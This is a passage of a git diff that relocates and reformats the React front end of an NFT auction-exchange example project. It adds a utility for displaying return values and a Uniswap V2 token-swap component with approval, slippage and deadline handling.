@@ -150,7 +145,7 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
                     }}
                   >
                     #️⃣
-                </div>
+                  </div>
                 </Tooltip>
               </Col>
             </Row>
@@ -164,7 +159,12 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
     inputs.push(txValueInput);
   }
 
-  const buttonIcon = functionInfo.type === "call" ? <Button style={{ marginLeft: -32 }}>Read📡</Button> : <Button style={{ marginLeft: -32 }}>Send💸</Button>;
+  const buttonIcon =
+    functionInfo.type === "call" ? (
+      <Button style={{ marginLeft: -32 }}>Read📡</Button>
+    ) : (
+      <Button style={{ marginLeft: -32 }}>Send💸</Button>
+    );
   inputs.push(
     <div style={{ cursor: "pointer", margin: 2 }} key={"goButton"}>
       <Input
@@ -178,27 +178,27 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
             style={{ width: 50, height: 30, margin: 0 }}
             type="default"
             onClick={async () => {
-              let innerIndex = 0
-              const args = functionInfo.inputs.map((input) => {
-                const key = functionInfo.name + "_" + input.name + "_" + input.type + "_" + innerIndex++
-                let value = form[key]
-                if(input.baseType=="array"){
-                  value = JSON.parse(value)
-                } else if(input.type === "bool"){
-                  if(value==='true' || value==='1' || value ==="0x1"|| value ==="0x01"|| value ==="0x0001"){
+              let innerIndex = 0;
+              const args = functionInfo.inputs.map(input => {
+                const key = functionInfo.name + "_" + input.name + "_" + input.type + "_" + innerIndex++;
+                let value = form[key];
+                if (input.baseType === "array") {
+                  value = JSON.parse(value);
+                } else if (input.type === "bool") {
+                  if (value === "true" || value === "1" || value === "0x1" || value === "0x01" || value === "0x0001") {
                     value = 1;
-                  }else{
+                  } else {
                     value = 0;
                   }
                 }
-                return value
+                return value;
               });
 
-              let result
-              if(functionInfo.stateMutability === "view"||functionInfo.stateMutability === "pure"){
-                const returned = await contractFunction(...args)
+              let result;
+              if (functionInfo.stateMutability === "view" || functionInfo.stateMutability === "pure") {
+                const returned = await contractFunction(...args);
                 result = tryToDisplay(returned);
-              }else{
+              } else {
                 const overrides = {};
                 if (txValue) {
                   overrides.value = txValue; // ethers.utils.parseEther()
@@ -206,13 +206,11 @@ export default function FunctionForm({ contractFunction, functionInfo, provider,
                 // Uncomment this if you want to skip the gas estimation for each transaction
                 // overrides.gasLimit = hexlify(1200000);
 
-
                 // console.log("Running with extras",extras)
                 const returned = await tx(contractFunction(...args, overrides));
                 result = tryToDisplay(returned);
               }
 
-
               console.log("SETTING RESULT:", result);
               setReturnValue(result);
               triggerRefresh(true);
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Contract/index.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Contract/index.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Contract/index.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Contract/index.jsx
diff --git a/basic/16-nft-auction-exchange/react-app/src/components/Contract/utils.js b/basic/16-nft-auction-exchange/react-app/src/components/Contract/utils.js
new file mode 100644
index 000000000..4557394c5
--- /dev/null
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Contract/utils.js
@@ -0,0 +1,19 @@
+import React from "react";
+import { formatUnits } from "@ethersproject/units";
+import { Address } from "../../components";
+
+const tryToDisplay = thing => {
+  if (thing && thing.toNumber) {
+    try {
+      return thing.toNumber();
+    } catch (e) {
+      return "Ξ" + formatUnits(thing, "ether");
+    }
+  }
+  if (thing && thing.indexOf && thing.indexOf("0x") === 0 && thing.length === 42) {
+    return <Address address={thing} fontSize={22} />;
+  }
+  return JSON.stringify(thing);
+};
+
+export default tryToDisplay;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/EtherInput.jsx b/basic/16-nft-auction-exchange/react-app/src/components/EtherInput.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/EtherInput.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/EtherInput.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Faucet.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Faucet.jsx
similarity index 98%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Faucet.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Faucet.jsx
index 63cfa0780..039cad846 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Faucet.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Faucet.jsx
@@ -63,7 +63,7 @@ export default function Faucet(props) {
         setAddress(address);
       }
     },
-    [props.ensProvider, props.onChange],
+    [props.ensProvider],
   );
 
   const tx = Transactor(props.localProvider);
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/GasGauge.jsx b/basic/16-nft-auction-exchange/react-app/src/components/GasGauge.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/GasGauge.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/GasGauge.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Header.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Header.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Header.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Header.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Loading.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Loading.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Loading.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Loading.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/NetworkErrorMessage.jsx b/basic/16-nft-auction-exchange/react-app/src/components/NetworkErrorMessage.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/NetworkErrorMessage.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/NetworkErrorMessage.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/NoWalletDetected.jsx b/basic/16-nft-auction-exchange/react-app/src/components/NoWalletDetected.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/NoWalletDetected.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/NoWalletDetected.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Provider.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Provider.jsx
similarity index 100%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Provider.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Provider.jsx
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Ramp.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Ramp.jsx
similarity index 85%
rename from Example16-hardhat-auction-exchange/react-app/src/components/Ramp.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/Ramp.jsx
index 14b79429f..b387b6e7f 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Ramp.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Ramp.jsx
@@ -30,13 +30,13 @@ export default function Ramp(props) {
 
   const type = "default";
 
-  let allFaucets = []
-  for(let n in props.networks){
-    if(props.networks[n].chainId!=31337&&props.networks[n].chainId!=1){
+  let allFaucets = [];
+  for (let n in props.networks) {
+    if (props.networks[n].chainId !== 31337 && props.networks[n].chainId !== 1) {
       allFaucets.push(
         <p key={props.networks[n].chainId}>
           <Button
-            style={{color:props.networks[n].color}}
+            style={{ color: props.networks[n].color }}
             type={type}
             size="large"
             shape="round"
@@ -46,8 +46,8 @@ export default function Ramp(props) {
           >
             {props.networks[n].name}
           </Button>
-        </p>
-      )
+        </p>,
+      );
     }
   }
 
@@ -60,7 +60,8 @@ export default function Ramp(props) {
           setModalUp("up");
         }}
       >
-        <DollarCircleOutlined style={{ color: "#52c41a" }} /> {typeof props.price == "undefined" ? 0 : props.price.toFixed(2)}
+        <DollarCircleOutlined style={{ color: "#52c41a" }} />{" "}
+        {typeof props.price == "undefined" ? 0 : props.price.toFixed(2)}
       </Button>
       <Modal
         title="Buy ETH"
@@ -89,7 +90,9 @@ export default function Ramp(props) {
             }}
           >
             <span style={{ paddingRight: 15 }} role="img">
-              <span role="img" aria-label="flag-us">🇺🇸</span>
+              <span role="img" aria-label="flag-us">
+                🇺🇸
+              </span>
             </span>
             Wyre
           </Button>
@@ -113,7 +116,9 @@ export default function Ramp(props) {
             }}
           >
             <span style={{ paddingRight: 15 }} role="img">
-            <span role="img" aria-label="flag-gb">🇬🇧</span>
+              <span role="img" aria-label="flag-gb">
+                🇬🇧
+              </span>
             </span>
             Ramp
           </Button>
@@ -140,7 +145,6 @@ export default function Ramp(props) {
         <h2>Testnet ETH</h2>
 
         {allFaucets}
-
       </Modal>
     </div>
   );
diff --git a/basic/16-nft-auction-exchange/react-app/src/components/Swap.jsx b/basic/16-nft-auction-exchange/react-app/src/components/Swap.jsx
new file mode 100644
index 000000000..1da096c3f
--- /dev/null
+++ b/basic/16-nft-auction-exchange/react-app/src/components/Swap.jsx
@@ -0,0 +1,694 @@
+import React, { useState, useEffect } from "react";
+import {
+  Space,
+  Row,
+  InputNumber,
+  Card,
+  notification,
+  Select,
+  Descriptions,
+  Typography,
+  Button,
+  Divider,
+  Tooltip,
+  Drawer,
+  Modal,
+} from "antd";
+import { SettingOutlined, RetweetOutlined } from "@ant-design/icons";
+import { ChainId, Token, WETH, Fetcher, Trade, TokenAmount, Percent } from "@uniswap/sdk";
+import { parseUnits, formatUnits } from "@ethersproject/units";
+import { ethers } from "ethers";
+import { useBlockNumber, usePoller } from "eth-hooks";
+import { abi as IUniswapV2Router02ABI } from "@uniswap/v2-periphery/build/IUniswapV2Router02.json";
+import { useDebounce } from "../hooks";
+
+const { Option } = Select;
+const { Text } = Typography;
+
+export const ROUTER_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
+
+export const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
+
+const erc20Abi = [
+  "function balanceOf(address owner) view returns (uint256)",
+  "function approve(address _spender, uint256 _value) public returns (bool success)",
+  "function allowance(address _owner, address _spender) public view returns (uint256 remaining)",
+];
+
+const makeCall = async (callName, contract, args, metadata = {}) => {
+  if (contract[callName]) {
+    let result;
+    if (args) {
+      result = await contract[callName](...args, metadata);
+    } else {
+      result = await contract[callName]();
+    }
+    return result;
+  } else {
+    console.log("no call of that name!");
+  }
+};
+
+let defaultToken = "ETH";
+let defaultTokenOut = "DAI";
+let defaultSlippage = "0.5";
+let defaultTimeLimit = 60 * 10;
+
+const tokenListToObject = array =>
+  array.reduce((obj, item) => {
+    obj[item.symbol] = new Token(item.chainId, item.address, item.decimals, item.symbol, item.name);
+    return obj;
+  }, {});
+
+function Swap({ selectedProvider, tokenListURI }) {
+  const [tokenIn, setTokenIn] = useState(defaultToken);
+  const [tokenOut, setTokenOut] = useState(defaultTokenOut);
+  const [exact, setExact] = useState();
+  const [amountIn, setAmountIn] = useState();
+  const [amountInMax, setAmountInMax] = useState();
+  const [amountOut, setAmountOut] = useState();
+  const [amountOutMin, setAmountOutMin] = useState();
+  const [trades, setTrades] = useState();
+  const [routerAllowance, setRouterAllowance] = useState();
+  const [balanceIn, setBalanceIn] = useState();
+  const [balanceOut, setBalanceOut] = useState();
+  const [slippageTolerance, setSlippageTolerance] = useState(
+    new Percent(Math.round(defaultSlippage * 100).toString(), "10000"),
+  );
+  const [timeLimit, setTimeLimit] = useState(defaultTimeLimit);
+  const [swapping, setSwapping] = useState(false);
+  const [approving, setApproving] = useState(false);
+  const [settingsVisible, setSettingsVisible] = useState(false);
+  const [swapModalVisible, setSwapModalVisible] = useState(false);
+
+  const [tokenList, setTokenList] = useState([]);
+
+  const [tokens, setTokens] = useState();
+
+  const [invertPrice, setInvertPrice] = useState(false);
+
+  let blockNumber = useBlockNumber(selectedProvider, 3000);
+
+  let signer = selectedProvider.getSigner();
+  let routerContract = new ethers.Contract(ROUTER_ADDRESS, IUniswapV2Router02ABI, signer);
+
+  let _tokenListUri = tokenListURI ? tokenListURI : "https://gateway.ipfs.io/ipns/tokens.uniswap.org";
+
+  const debouncedAmountIn = useDebounce(amountIn, 500);
+  const debouncedAmountOut = useDebounce(amountOut, 500);
+
+  const activeChainId = process.env.REACT_APP_NETWORK === "kovan" ? ChainId.KOVAN : ChainId.MAINNET;
+
+  useEffect(() => {
+    const getTokenList = async () => {
+      // console.log(_tokenListUri);
+      try {
+        let tokenList = await fetch(_tokenListUri);
+        let tokenListJson = await tokenList.json();
+        let filteredTokens = tokenListJson.tokens.filter(function (t) {
+          return t.chainId === activeChainId;
+        });
+        let ethToken = WETH[activeChainId];
+        ethToken.name = "Ethereum";
+        ethToken.symbol = "ETH";
+        ethToken.logoURI =
+          "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2/logo.png";
+        let _tokenList = [ethToken, ...filteredTokens];
+        setTokenList(_tokenList);
+        let _tokens = tokenListToObject(_tokenList);
+        setTokens(_tokens);
+      } catch (e) {
+        console.log(e);
+      }
+    };
+    getTokenList();
+  }, [_tokenListUri, activeChainId]);
+
+  const getTrades = async () => {
+    if (tokenIn && tokenOut && (amountIn || amountOut)) {
+      let pairs = arr => arr.map((v, i) => arr.slice(i + 1).map(w => [v, w])).flat();
+
+      let baseTokens = tokenList
+        .filter(function (t) {
+          return ["DAI", "USDC", "USDT", "COMP", "ETH", "MKR", "LINK", tokenIn, tokenOut].includes(t.symbol);
+        })
+        .map(el => {
+          return new Token(el.chainId, el.address, el.decimals, el.symbol, el.name);
+        });
+
+      let listOfPairwiseTokens = pairs(baseTokens);
+
+      const getPairs = async list => {
+        let listOfPromises = list.map(item => Fetcher.fetchPairData(item[0], item[1], selectedProvider));
+        return Promise.all(listOfPromises.map(p => p.catch(() => undefined)));
+      };
+
+      let listOfPairs = await getPairs(listOfPairwiseTokens);
+
+      let bestTrade;
+
+      if (exact === "in") {
+        setAmountInMax();
+        bestTrade = Trade.bestTradeExactIn(
+          listOfPairs.filter(item => item),
+          new TokenAmount(tokens[tokenIn], parseUnits(amountIn.toString(), tokens[tokenIn].decimals)),
+          tokens[tokenOut],
+          { maxNumResults: 3, maxHops: 1 },
+        );
+        if (bestTrade[0]) {
+          setAmountOut(bestTrade[0].outputAmount.toSignificant(6));
+        } else {
+          setAmountOut();
+        }
+      } else if (exact === "out") {
+        setAmountOutMin();
+        bestTrade = Trade.bestTradeExactOut(
+          listOfPairs.filter(item => item),
+          tokens[tokenIn],
+          new TokenAmount(tokens[tokenOut], parseUnits(amountOut.toString(), tokens[tokenOut].decimals)),
+          { maxNumResults: 3, maxHops: 1 },
+        );
+        if (bestTrade[0]) {
+          setAmountIn(bestTrade[0].inputAmount.toSignificant(6));
+        } else {
+          setAmountIn();
+        }
+      }
+
+      setTrades(bestTrade);
+
+      console.log(bestTrade);
+    }
+  };
+
+  useEffect(() => {
+    getTrades();
+  }, [tokenIn, tokenOut, debouncedAmountIn, debouncedAmountOut, slippageTolerance, selectedProvider]);
+
+  useEffect(() => {
+    if (trades && trades[0]) {
+      if (exact === "in") {
+        setAmountOutMin(trades[0].minimumAmountOut(slippageTolerance));
+      } else if (exact === "out") {
+        setAmountInMax(trades[0].maximumAmountIn(slippageTolerance));
+      }
+    }
+  }, [exact, slippageTolerance, amountIn, amountOut, trades]);
+
+  const getBalance = async (_token, _account, _contract) => {
+    let newBalance;
+    if (_token === "ETH") {
+      newBalance = await selectedProvider.getBalance(_account);
+    } else {
+      newBalance = await makeCall("balanceOf", _contract, [_account]);
+    }
+    return newBalance;
+  };
+
+  const getAccountInfo = async () => {
+    if (tokens) {
+      let accountList = await selectedProvider.listAccounts();
+
+      if (tokenIn) {
+        let tempContractIn = new ethers.Contract(tokens[tokenIn].address, erc20Abi, selectedProvider);
+        let newBalanceIn = await getBalance(tokenIn, accountList[0], tempContractIn);
+        setBalanceIn(newBalanceIn);
+
+        let allowance;
+
+        if (tokenIn === "ETH") {
+          setRouterAllowance();
+        } else {
+          allowance = await makeCall("allowance", tempContractIn, [accountList[0], ROUTER_ADDRESS]);
+          setRouterAllowance(allowance);
+        }
+      }
+
+      if (tokenOut) {
+        let tempContractOut = new ethers.Contract(tokens[tokenOut].address, erc20Abi, selectedProvider);
+        let newBalanceOut = await getBalance(tokenOut, accountList[0], tempContractOut);
+        setBalanceOut(newBalanceOut);
+      }
+    }
+  };
+
+  usePoller(getAccountInfo, 6000);
+
+  let route = trades
+    ? trades.length > 0
+      ? trades[0].route.path.map(function (item) {
+          return item["symbol"];
+        })
+      : []
+    : [];
+
+  const updateRouterAllowance = async newAllowance => {
+    setApproving(true);
+    try {
+      let tempContract = new ethers.Contract(tokens[tokenIn].address, erc20Abi, signer);
+      let result = await makeCall("approve", tempContract, [ROUTER_ADDRESS, newAllowance]);
+      console.log(result);
+      setApproving(false);
+      return true;
+    } catch (e) {
+      notification.open({
+        message: "Approval unsuccessful",
+        description: `Error: ${e.message}`,
+      });
+    }
+  };
+
+  const approveRouter = async () => {
+    let approvalAmount =
+      exact === "in"
+        ? ethers.utils.hexlify(parseUnits(amountIn.toString(), tokens[tokenIn].decimals))
+        : amountInMax.raw.toString();
+    console.log(approvalAmount);
+    let approval = updateRouterAllowance(approvalAmount);
+    if (approval) {
+      notification.open({
+        message: "Token transfer approved",
+        description: `You can now swap up to ${amountIn} ${tokenIn}`,
+      });
+    }
+  };
+
+  const removeRouterAllowance = async () => {
+    let approvalAmount = ethers.utils.hexlify(0);
+    console.log(approvalAmount);
+    let removal = updateRouterAllowance(approvalAmount);
+    if (removal) {
+      notification.open({
+        message: "Token approval removed",
+        description: `The router is no longer approved for ${tokenIn}`,
+      });
+    }
+  };
+
+  const executeSwap = async () => {
+    setSwapping(true);
+    try {
+      let args;
+      let metadata = {};
+
+      let call;
+      let deadline = Math.floor(Date.now() / 1000) + timeLimit;
+      let path = trades[0].route.path.map(function (item) {
+        return item["address"];
+      });
+      console.log(path);
+      let accountList = await selectedProvider.listAccounts();
+      let address = accountList[0];
+
+      if (exact === "in") {
+        let _amountIn = ethers.utils.hexlify(parseUnits(amountIn.toString(), tokens[tokenIn].decimals));
+        let _amountOutMin = ethers.utils.hexlify(ethers.BigNumber.from(amountOutMin.raw.toString()));
+        if (tokenIn === "ETH") {
+          call = "swapExactETHForTokens";
+          args = [_amountOutMin, path, address, deadline];
+          metadata["value"] = _amountIn;
+        } else {
+          call = tokenOut === "ETH" ? "swapExactTokensForETH" : "swapExactTokensForTokens";
+          args = [_amountIn, _amountOutMin, path, address, deadline];
+        }
+      } else if (exact === "out") {
+        let _amountOut = ethers.utils.hexlify(parseUnits(amountOut.toString(), tokens[tokenOut].decimals));
+        let _amountInMax = ethers.utils.hexlify(ethers.BigNumber.from(amountInMax.raw.toString()));
+        if (tokenIn === "ETH") {
+          call = "swapETHForExactTokens";
+          args = [_amountOut, path, address, deadline];
+          metadata["value"] = _amountInMax;
+        } else {
+          call = tokenOut === "ETH" ? "swapTokensForExactETH" : "swapTokensForExactTokens";
+          args = [_amountOut, _amountInMax, path, address, deadline];
+        }
+      }
+      console.log(call, args, metadata);
+      let result = await makeCall(call, routerContract, args, metadata);
+      console.log(result);
+      notification.open({
+        message: "Swap complete 🦄",
+        description: (
+          <>
+            <Text>{`Swapped ${tokenIn} for ${tokenOut}, transaction: `}</Text>
+            <Text copyable>{result.hash}</Text>
+          </>
+        ),
+      });
+      setSwapping(false);
+    } catch (e) {
+      console.log(e);
+      setSwapping(false);
+      notification.open({
+        message: "Swap unsuccessful",
+        description: `Error: ${e.message}`,
+      });
+    }
+  };
+
+  const showSwapModal = () => {
+    setSwapModalVisible(true);
+  };
+
+  const handleSwapModalOk = () => {
+    setSwapModalVisible(false);
+    executeSwap();
+  };
+
+  const handleSwapModalCancel = () => {
+    setSwapModalVisible(false);
+  };
+
+  let insufficientBalance = balanceIn ? parseFloat(formatUnits(balanceIn, tokens[tokenIn].decimals)) < amountIn : null;
+  let inputIsToken = tokenIn !== "ETH";
+  let insufficientAllowance = !inputIsToken
+    ? false
+    : routerAllowance
+    ? parseFloat(formatUnits(routerAllowance, tokens[tokenIn].decimals)) < amountIn
+    : null;
+  let formattedBalanceIn = balanceIn
+    ? parseFloat(formatUnits(balanceIn, tokens[tokenIn].decimals)).toPrecision(6)
+    : null;
+  let formattedBalanceOut = balanceOut
+    ? parseFloat(formatUnits(balanceOut, tokens[tokenOut].decimals)).toPrecision(6)
+    : null;
+
+  let metaIn =
+    tokens && tokenList && tokenIn
+      ? tokenList.filter(function (t) {
+          return t.address === tokens[tokenIn].address;
+        })[0]
+      : null;
+  let metaOut =
+    tokens && tokenList && tokenOut
+      ? tokenList.filter(function (t) {
+          return t.address === tokens[tokenOut].address;
+        })[0]
+      : null;
+
+  const cleanIpfsURI = uri => {
+    try {
+      return uri.replace("ipfs://", "https://ipfs.io/ipfs/");
+    } catch (e) {
+      console.log(e, uri);
+      return uri;
+    }
+  };
+
+  let logoIn = metaIn ? cleanIpfsURI(metaIn.logoURI) : null;
+  let logoOut = metaOut ? cleanIpfsURI(metaOut.logoURI) : null;
+
+  let rawPrice = trades && trades[0] ? trades[0].executionPrice : null;
+  let price = rawPrice ? rawPrice.toSignificant(7) : null;
+  let priceDescription = rawPrice
+    ? invertPrice
+      ? `${rawPrice.invert().toSignificant(7)} ${tokenIn} per ${tokenOut}`
+      : `${price} ${tokenOut} per ${tokenIn}`
+    : null;
+
+  let priceWidget = (
+    <Space>
+      <Text type="secondary">{priceDescription}</Text>
+      <Button
+        type="text"
+        onClick={() => {
+          setInvertPrice(!invertPrice);
+        }}
+      >
+        <RetweetOutlined />
+      </Button>
+    </Space>
+  );
+
+  let swapModal = (
+    <Modal title="Confirm swap" visible={swapModalVisible} onOk={handleSwapModalOk} onCancel={handleSwapModalCancel}>
+      <Row>
+        <Space>
+          <img src={logoIn} alt={tokenIn} width="30" />
+          {amountIn}
+          {tokenIn}
+        </Space>
+      </Row>
+      <Row justify="center" align="middle" style={{ width: 30 }}>
+        <span>↓</span>
+      </Row>
+      <Row>
+        <Space>
+          <img src={logoOut} alt={tokenOut} width="30" />
+          {amountOut}
+          {tokenOut}
+        </Space>
+      </Row>
+      <Divider />
+      <Row>{priceWidget}</Row>
+      <Row>
+        {trades && ((amountOutMin && exact === "in") || (amountInMax && exact === "out"))
+          ? exact === "in"
+            ? `Output is estimated. You will receive at least ${amountOutMin.toSignificant(
+                6,
+              )} ${tokenOut} or the transaction will revert.`
+            : `Input is estimated. You will sell at most ${amountInMax.toSignificant(
+                6,
+              )} ${tokenIn} or the transaction will revert.`
+          : null}
+      </Row>
+    </Modal>
+  );
+
+  return (
+    <Card
+      title={
+        <Space>
+          <img src="https://ipfs.io/ipfs/QmXttGpZrECX5qCyXbBQiqgQNytVGeZW5Anewvh2jc4psg" width="40" alt="uniswapLogo" />
+          <Typography>Uniswapper</Typography>
+        </Space>
+      }
+      extra={
+        <Button
+          type="text"
+          onClick={() => {
+            setSettingsVisible(true);
+          }}
+        >
+          <SettingOutlined />
+        </Button>
+      }
+    >
+      <Space direction="vertical">
+        <Row justify="center" align="middle">
+          <Card
+            size="small"
+            type="inner"
+            title={`From${exact === "out" && tokenIn && tokenOut ? " (estimate)" : ""}`}
+            extra={
+              <>
+                <img src={logoIn} alt={tokenIn} width="30" />
+                <Button
+                  type="link"
+                  onClick={() => {
+                    setAmountOut();
+                    setAmountIn(formatUnits(balanceIn, tokens[tokenIn].decimals));
+                    setAmountOutMin();
+                    setAmountInMax();
+                    setExact("in");
+                  }}
+                >
+                  {formattedBalanceIn}
+                </Button>
+              </>
+            }
+            style={{ width: 400, textAlign: "left" }}
+          >
+            <InputNumber
+              style={{ width: "160px" }}
+              min={0}
+              size={"large"}
+              value={amountIn}
+              onChange={e => {
+                setAmountOut();
+                setTrades();
+                setAmountIn(e);
+                setExact("in");
+              }}
+            />
+            <Select
+              showSearch
+              value={tokenIn}
+              style={{ width: "120px" }}
+              size={"large"}
+              bordered={false}
+              defaultValue={defaultToken}
+              onChange={value => {
+                console.log(value);
+                if (value === tokenOut) {
+                  console.log("switch!", tokenIn);
+                  setTokenOut(tokenIn);
+                  setAmountOut(amountIn);
+                  setBalanceOut(balanceIn);
+                }
+                setTokenIn(value);
+                setTrades();
+                setAmountIn();
+                setExact("out");
+                setBalanceIn();
+              }}
+              filterOption={(input, option) => option.children.toLowerCase().indexOf(input.toLowerCase()) >= 0}
+              optionFilterProp="children"
+            >
+              {tokenList.map(token => (
+                <Option key={token.symbol} value={token.symbol}>
+                  {token.symbol}
+                </Option>
+              ))}
+            </Select>
+          </Card>
+        </Row>
+        <Row justify="center" align="middle">
+          <Tooltip title={route.join("->")}>
+            <span>↓</span>
+          </Tooltip>
+        </Row>
+        <Row justify="center" align="middle">
+          <Card
+            size="small"
+            type="inner"
+            title={`To${exact === "in" && tokenIn && tokenOut ? " (estimate)" : ""}`}
+            extra={
+              <>
+                <img src={logoOut} width="30" alt={tokenOut} />
+                <Button type="text">{formattedBalanceOut}</Button>
+              </>
+            }
+            style={{ width: 400, textAlign: "left" }}
+          >
+            <InputNumber
+              style={{ width: "160px" }}
+              size={"large"}
+              min={0}
+              value={amountOut}
+              onChange={e => {
+                setAmountOut(e);
+                setAmountIn();
+                setTrades();
+                setExact("out");
+              }}
+            />
+            <Select
+              showSearch
+              value={tokenOut}
+              style={{ width: "120px" }}
+              size={"large"}
+              bordered={false}
+              onChange={value => {
+                console.log(value, tokenIn, tokenOut);
+                if (value === tokenIn) {
+                  console.log("switch!", tokenOut);
+                  setTokenIn(tokenOut);
+                  setAmountIn(amountOut);
+                  setBalanceIn(balanceOut);
+                }
+                setTokenOut(value);
+                setExact("in");
+                setAmountOut();
+                setTrades();
+                setBalanceOut();
+              }}
+              filterOption={(input, option) => option.children.toLowerCase().indexOf(input.toLowerCase()) >= 0}
+              optionFilterProp="children"
+            >
+              {tokenList.map(token => (
+                <Option key={token.symbol} value={token.symbol}>
+                  {token.symbol}
+                </Option>
+              ))}
+            </Select>
+          </Card>
+        </Row>
+        <Row justify="center" align="middle">
+          {priceDescription ? priceWidget : null}
+        </Row>
+        <Row justify="center" align="middle">
+          <Space>
+            {inputIsToken ? (
+              <Button size="large" loading={approving} disabled={!insufficientAllowance} onClick={approveRouter}>
+                {!insufficientAllowance && amountIn && amountOut ? "Approved" : "Approve"}
+              </Button>
+            ) : null}
+            <Button
+              size="large"
+              loading={swapping}
+              disabled={insufficientAllowance || insufficientBalance || !amountIn || !amountOut}
+              onClick={showSwapModal}
+            >
+              {insufficientBalance ? "Insufficient balance" : "Swap!"}
+            </Button>
+            {swapModal}
+          </Space>
+        </Row>
+      </Space>
+      <Drawer
+        visible={settingsVisible}
+        onClose={() => {
+          setSettingsVisible(false);
+        }}
+        width={500}
+      >
+        <Descriptions title="Details" column={1} style={{ textAlign: "left" }}>
+          <Descriptions.Item label="blockNumber">{blockNumber}</Descriptions.Item>
+          <Descriptions.Item label="routerAllowance">
+            <Space>
+              {routerAllowance ? formatUnits(routerAllowance, tokens[tokenIn].decimals) : null}
+              {routerAllowance > 0 ? <Button onClick={removeRouterAllowance}>Remove Allowance</Button> : null}
+            </Space>
+          </Descriptions.Item>
+          <Descriptions.Item label="route">{route.join("->")}</Descriptions.Item>
+          <Descriptions.Item label="exact">{exact}</Descriptions.Item>
+          <Descriptions.Item label="bestPrice">
+            {trades ? (trades.length > 0 ? trades[0].executionPrice.toSignificant(6) : null) : null}
+          </Descriptions.Item>
+          <Descriptions.Item label="nextMidPrice">
+            {trades ? (trades.length > 0 ? trades[0].nextMidPrice.toSignificant(6) : null) : null}
+          </Descriptions.Item>
+          <Descriptions.Item label="priceImpact">
+            {trades ? (trades.length > 0 ? trades[0].priceImpact.toSignificant(6) : null) : null}
+          </Descriptions.Item>
+          <Descriptions.Item label="slippageTolerance">
+            {
+              <InputNumber
+                defaultValue={defaultSlippage}
+                min={0}
+                max={100}
+                precision={2}
+                formatter={value => `${value}%`}
+                parser={value => value.replace("%", "")}
+                onChange={value => {
+                  console.log(value);
+
+                  let slippagePercent = new Percent(Math.round(value * 100).toString(), "10000");
+                  setSlippageTolerance(slippagePercent);
+                }}
+              />
+            }
+          </Descriptions.Item>
+          <Descriptions.Item label="amountInMax">{amountInMax ? amountInMax.toExact() : null}</Descriptions.Item>
+          <Descriptions.Item label="amountOutMin">{amountOutMin ? amountOutMin.toExact() : null}</Descriptions.Item>
+          <Descriptions.Item label="timeLimitInSeconds">
+            {
+              <InputNumber
+                min={0}
+                max={3600}
+                defaultValue={defaultTimeLimit}
+                onChange={value => {
+                  console.log(value);
+                  setTimeLimit(value);
+                }}
+              />
+            }
+          </Descriptions.Item>
+        </Descriptions>
+      </Drawer>
+    </Card>
+  );
+}
+
+export default Swap;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/ThemeSwitch.jsx b/basic/16-nft-auction-exchange/react-app/src/components/ThemeSwitch.jsx
similarity index 81%
rename from Example16-hardhat-auction-exchange/react-app/src/components/ThemeSwitch.jsx
rename to basic/16-nft-auction-exchange/react-app/src/components/ThemeSwitch.jsx
index d97837e84..45ca831f4 100644
--- a/Example16-hardhat-auction-exchange/react-app/src/components/ThemeSwitch.jsx
+++ b/basic/16-nft-auction-exchange/react-app/src/components/ThemeSwitch.jsx
@@ -5,8 +5,8 @@ import { useThemeSwitcher } from "react-css-theme-switcher";
 export default function ThemeSwitcher() {
 
   const theme = window.localStorage.getItem("theme");
-  const [isDarkMode, setIsDarkMode] = useState(!theme || theme == "light" ? false : true);
-  const { switcher, currentTheme, status, themes } = useThemeSwitcher();
+  const [isDarkMode, setIsDarkMode] = useState(!theme || theme === "light" ? false : true);
+  const { switcher, currentTheme, themes } = useThemeSwitcher();
 
   useEffect(() => {
